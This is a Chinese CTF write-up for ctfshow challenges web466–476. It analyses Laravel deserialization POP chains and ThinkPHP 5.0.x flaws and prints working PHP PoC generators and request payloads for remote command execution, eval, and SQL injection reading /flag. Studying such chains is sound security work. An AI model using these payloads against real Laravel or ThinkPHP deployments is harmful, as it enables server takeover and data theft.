CTFSHOW-框架复现

文章发布时间:

最后更新时间:

  1. web466-470 Laravel5.4版本 ,提交数据需要base64编码

    参考自https://xz.aliyun.com/t/11002、

    POP链1-failed

    • source点

      src/Illuminate/Broadcasting/PendingBroadcast.php#__destruct() ,events属性可控,所以可以利用一个拥有dispatch方法或者__call方法的类传入对象参数event同样可控

      image-20221126224133062

      这里利用到了src/Faker/Generator.php#__call(),其中method为dispatch,attributes参数为event(可控),继续跟进

      image-20221126224518135

      可以看到里面有一个call_user_func_array(),这里首先arguments根据函数要求需要是一个array类型的对象,我们可以构造。之后再看第一个参数又调用了getFormatter方法

      image-20221126224636014

      formatters可控,所以直接构造一个键值对即可

      image-20221126224957796

    但是实际上由于反序列化会触发到该类的__wake()方法,formatters数组直接给我清空了

    image-20221126234824476

    pop链2

    换一个__call方法,这里利用到了Illuminate/Support/Manager.php

    method为dispatch,parameters可控,其中又调用了driver方法

    image-20221126235222466

    这里driver我们没法控制,所以会调用getDefaultDriver方法,后者是一个抽象方法,需要类进行重写,我们先放着。drivers数组是可控的,当没有存在对应键值对时会调用createDriver()

    image-20221126235409631

    这里的customCreators看起来也是可控的,跟入callCustomCreator

image-20221126235817325

这里存在一个动态函数RCE,customCreators数组可以构造键值对,参数app可控

image-20221127000008083

所以这里的关键就是这个driver变量可以通过getDefaultDriver返回一个可控值,这里在它的继承类里去找

ChannelManager#getDefaultDriver()中,返回值可控

image-20221127000354294

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

namespace Illuminate\Notifications {
class ChannelManager {
protected $app;
protected $defaultChannel;
protected $customCreators;

public function __construct() {
$this->defaultChannel = "xxx";
$this->customCreators = [
"xxx" => "system"
];
$this->app = "calc";
}
}
}

namespace Illuminate\Broadcasting {
use Illuminate\Notifications\ChannelManager;
class PendingBroadcast {
protected $events;
protected $event;
public function __construct() {
$this->events = new ChannelManager();
$this->event = "whatever";
}
}
}

namespace {
use Illuminate\Broadcasting\PendingBroadcast;
$exp = new PendingBroadcast();
echo base64_encode(serialize($exp));
}

Laveral 提交数据的方式

1
/xxx/<base64_data>

pop链3:

继续寻找新的可利用__call方法类

Illuminate/Validation/Validator.php#_call,这里的rule变量不可控,method为patch,而parameters可控,先往后看,跟进 image-20221127083011110

callExtension方法中,extensions数组可控,之后会调用call_user_func_array可能导致RCE。所以关键就是rule变量是否可控或者是个常数

image-20221127092737029

我们跟进Str::snake()方法,参数经过了一个字符串截取,由于method为dispatch,截取之后为空字符串,所以可以看到中间并无任何影响,返回仍为空

image-20221127092944379

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

namespace Illuminate\Validation {
class Validator {
public $extensions;
public function __construct() {
$this->extensions = [
"" => "system"
];
}
}
}

namespace Illuminate\Broadcasting {
use Illuminate\Validation\Validator;
class PendingBroadcast {
protected $events;
protected $event;
public function __construct() {
$this->events = new Validator();
$this->event = "calc";
}
}
}

namespace {

use Illuminate\Broadcasting\PendingBroadcast;

$exp = new PendingBroadcast();
echo base64_encode(serialize($exp));
}

pop链4

这次去寻找带dispatch方法的利用类

Illuminate/Events/Dispatcher.php#dispatch,这里存在一个动态函数调用,先看看前面变量的赋值变化

image-20221127094229596

跟进parseEventAndPayload(),payload参数并不可控。由于我们控制event是方法的参数,因此其不是个object类对象,将会返回本身。这里还需要注意的是对于foreach结构,我们需要让这个getListeners函数返回值是一个迭代数组

image-20221127094409225

再看看listener变量是咋来的,跟进getListener方法。这里listeners数组和eventName均可控,由于我们要利用listener值作为动态函数调用,所以其不可能是个类名(比如利用system),因此返回值就是listeners本身

image-20221127094751390

同时注意到system函数是可以支持接收两个参数的

image-20221127095542136

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

namespace Illuminate\Events {
class Dispatcher {
protected $listeners;
public function __construct() {
$this->listeners = [
"calc" => ["system"]
];
}
}
}

namespace Illuminate\Broadcasting {
use Illuminate\Events\Dispatcher;
class PendingBroadcast {
protected $events;
protected $event;
public function __construct() {
$this->events = new Dispatcher();
$this->event = "calc";
}
}
}

namespace {
use Illuminate\Broadcasting\PendingBroadcast;
$exp = new PendingBroadcast();
echo base64_encode(serialize($exp));
}


pop链5:

位于ValidGenerator#call(),这里对于第一个call_user_func_array()传入的第一个参数为数组,也就是会调用generator变量的name方法,这里name为dispatch不可控,而generator以及后面的maxRetries和validator变量均可控。所以我们想想利用后面的call_user_func,前面去寻找一个能够调用返回可控值的__call方法的对象

image-20221128214416801

于是找到DefaultGenerator.php,这里default可控

image-20221128214828544

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php



namespace Faker {

class DefaultGenerator {
protected $default;

public function __construct() {
$this->default = "calc";
}
}


class ValidGenerator {
protected $generator;
protected $validator;
protected $maxRetries;

public function __construct() {
$this->validator = "system";
$this->maxRetries = 10000000;
$this->generator = new DefaultGenerator();
}
}
}


namespace Illuminate\Broadcasting {
use Faker\ValidGenerator;
class PendingBroadcast {
protected $events;
protected $event;
public function __construct() {
$this->events = new ValidGenerator();
$this->event = "cat /flag";
}
}
}

namespace {
use Illuminate\Broadcasting\PendingBroadcast;
$exp = new PendingBroadcast();
echo base64_encode(serialize($exp));
}
  1. Laravel5.8版本 提交数据需要base64编码

    前面的source点不变,定位利用类到Dispatcher#dispatch(),我们的目标是进入dispatchToQueue()方法

    image-20221128233028421

因为其中存在call_user_func(),参数connection为command变量的属性,待寻找

image-20221128233134588

要想进入该方法,三元表达式条件1:queueResolver变量是可控的且是我们后面构造的调用函数;条件2:还要进入commandShouldBeQueued()方法

可以看到我们的参数变量command需要满足实现ShouldQueue类接口

image-20221128233408930

找到一个QueuedCommand类,这样的话connection变量我们也可以通过它来构造

对于最终sink类,我们用的是EvalLoader的load方法,里面存在eval函数。

image-20221128234748450

看下definition(MockDefinition类,可用connction构造)的getCode()

image-20221128235033285

这里还有一点注意的就是要绕过一下前面的判断句definition->getClassName()方法,其需要返回一个不是类名的字符串(也不能是NULL)

这里找一个常量类Line

image-20221129000530917

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php

namespace PhpParser\Node\Scalar\MagicConst {
class Line {

}
}

namespace Mockery\Generator {
use PhpParser\Node\Scalar\MagicConst\Line;

class MockDefinition {
protected $code;
protected $config;

public function __construct() {
$this->config = new Line();
$this->code = "<?php phpinfo(); ?>";
}
}
}


namespace Mockery\Loader {
class EvalLoader {

}
}

namespace Illuminate\Foundation\Console {
use Mockery\Generator\MockDefinition;
class QueuedCommand {
public $connection;

public function __construct() {
$this->connection = new MockDefinition();
}
}
}

namespace Illuminate\Bus {
use Mockery\Loader\EvalLoader;

class Dispatcher {
protected $queueResolver;

public function __construct() {
$this->queueResolver = array(new EvalLoader(), "load");
}
}
}


namespace Illuminate\Broadcasting {
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast {
protected $event;
protected $events;

public function __construct() {
$this->events = new Dispatcher();
$this->event = new QueuedCommand();
}
}
}

namespace {
use Illuminate\Broadcasting\PendingBroadcast;
$exp = new PendingBroadcast();
echo base64_encode(serialize($exp));
}
  1. Laravel8.1版本 提交数据需要base64编码

source点不变,与Laravel5.5的其实很类似,还是定位在利用类Dispatcher#dispatchToQueue()上,这里可以直接rce的

image-20221129085717106

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

namespace Illuminate\Foundation\Console {

class QueuedCommand {
public $connection;

public function __construct() {
$this->connection = "calc";
}
}
}

namespace Illuminate\Bus {

class Dispatcher {
protected $queueResolver;

public function __construct() {
$this->queueResolver = "system";
}
}
}


namespace Illuminate\Broadcasting {
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast {
protected $event;
protected $events;

public function __construct() {
$this->events = new Dispatcher();
$this->event = new QueuedCommand();
}
}
}

namespace {
use Illuminate\Broadcasting\PendingBroadcast;
$exp = new PendingBroadcast();
echo base64_encode(serialize($exp));
}
  1. web473 thinkphp 5.0.15

    题目给了点提示

    1
    2
    3
    4
    5
    6
    public function inject(){
    $a=request()->get('a/a');
    db('users')->insert(['username'=>$a]);
    return 'done';

    }

    参考:https://www.cnblogs.com/litlife/p/11273652.html

    payload:(跟上前面的路由)

    1
    index.php?s=index/index/inject&a[0]=inc&a[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&a[2]=1

    这里updatexml报错失败,使用exp报错注入

    1
    index.php?s=index/index/inject&a[0]=inc&a[1]=exp(~(select * from (select version())x))&a[2]=1

    image-20221129093022528

    这里选择直接读文件

    1
    index.php?s=index/index/inject&a[0]=inc&a[1]=exp(~(select * from (select load_file('/flag'))x))&a[2]=1
  2. web474

    题目给了点提示

    1
    2
    3
    4
    5
    thinkphp5.0.5默认控制器的部分代码,使用默认路由:
    public function rce(){
    Cache::set("cache",input('get.cache'));
    return 'done';
    }

    参考链接:https://blog.csdn.net/rfrder/article/details/114599310

    题目环境的路由为

    1
    public/index.php?s=index/index/rce

    payload:

    1
    public/index.php?s=index/index/rce&cache=%0d%0asystem('cat /flag');//

    猜测name值为cache,按照规则计算文件名,访问即可

    1
    runtime/cache/0f/ea6a13c52b4d4725368f24b045ca84.php
  3. web475 ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析

    梳理

    $this->method可控导致可以调用__contruct()覆盖Request类的filter字段,然后App::run()执行判断debug来决定是否执行$request->param(),并且还有$dispatch[‘type’] 等于controller或者 method 时会执行$request->param(),而$request->param()会进入到input()方法,在这个方法中将被覆盖的filter回调call_user_func(),造成rce

    poc:

    1
    2
    3
    public/index.php?s=captcha
    POST:
    _method=__construct&filter[]=system&method=get&get[]=whoami

    App.php#run()程序的开始,调用self::routeCheck()检测路由

    image-20221129144359801

其中会进一步调用Route::check()根据route.php中的路由配置进行检测

image-20221129144628684

里面存在一个关键函数调用strtolower($request->method()),跟进后面

image-20221129144750874

其中存在动态函数调用,var_method对应参数值为_method

image-20221129150843285

因此当POST传参_method时,就会进入该if条件分支,并执行$this->{this->method}($_POST)

image-20221129145009052

因此这里我们可以调用该类的任意方法,参数为POST数组。我们利用构造函数__construct()(方法名与大小写无关)

image-20221129151119213

在构造方法中,会对该类中的成员属性变量进行覆盖

image-20221129151243587

覆盖结果如下

1
2
3
4
5
6
$this
method = "get"
get = {array} [0]
0 = whoami
filter = {array} [0]
0 = system

这里给method变量赋值get的原因是我们的路由会检测到captcha注册时用的get方法,这样才不会出错

image-20221129151644332

之后返回后执行self::exec(),跟入

image-20221129152043453

由于dispatch变量的type值为method,所以会进入switch对应分支。这里会利用array_merge()方法合并参数,由于我们之前设置了get参数为数组['whoami'],因此作用之后传给了param数组

`

image-20221129152642277

跟入input方法

image-20221129152756076

里面存在解析过滤器,getFilter()

image-20221129152846328

注意到我们之前覆盖变量已经将filter成员变量写成了['system'],所以最终会将其返回

image-20221129153022745

回到input函数,由于data我们之前传递的param变量数组,因此会来到array_walk_recursive()

image-20221129153203723

该函数的作用是会为data数组中的每一个元素调用filterValue方法,每一个元素会作为第一个参数(类似python中的map函数)

最终看到了sink函数call_user_func(),filter即为我们的数组成员system

image-20221129153307930

poc2:

回到刚才流程中的param()方法

image-20221129154417000

跟进method(true),会进一步调用server方法

image-20221129154459538

会发现这里还是会调用input方法,这里的server就是之前会被当做参数循环执行filterValue方法的data数组

image-20221129154552752

因此我们只需要将server[REQUEST_METHOD]设置为whoami其他保持不变即可照样RCE。注意细节,name是REQUEST_METHOD,所以数组中必须得包含这个键

image-20221129160111674

1
2
public/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
  1. web476 thinkphp 5.0.0-5.0.23 rce

    参考 https://blog.riskivy.com/thinkphp5-x%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

    poc:

    1
    public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=C:\WINDOWS\System32\calc.exe

    首先在Route.php中经过url解析得到模块名 控制器名和方法名

    image-20221129161932012

    之后获取到路由信息后还是一样进入self::exec()进行调用分发

    image-20221129162129185

注意到这里dispatch的type变成了module,因此switch到对应语句,执行module方法,继续跟入

image-20221129162300514

在其中会获取到相应解析好的模块名、控制器名以及操作名,

image-20221129162510340

接着会设置请求的控制器,跟进controller方法

image-20221129163036359

其中会获取模块名以及类名

image-20221129163128492

这里看一下getModuleAndClass方法,对于name如果其中包含反斜线则会直接作为class名返回,这里也就是\think\app

image-20221129163511915

之后调用invokeClass()方法,利用反射构造对应的Controller类实例

回到module函数,这里会利用反射获取Controller对象的方法也就是invokeFunction

image-20221129164100381

最后会通过invokeMethod()反射触发invokeFunction()

image-20221129164303244

而在invokeFunction()中是可以反射调用任意方法function的,可以看到反射获得了我们传的call_user_func_array(),并获取参数vars

image-20221129165557937

vars即我们传递的参数。最终调用$reflect->invokeArgs($args);触发

image-20221129165656021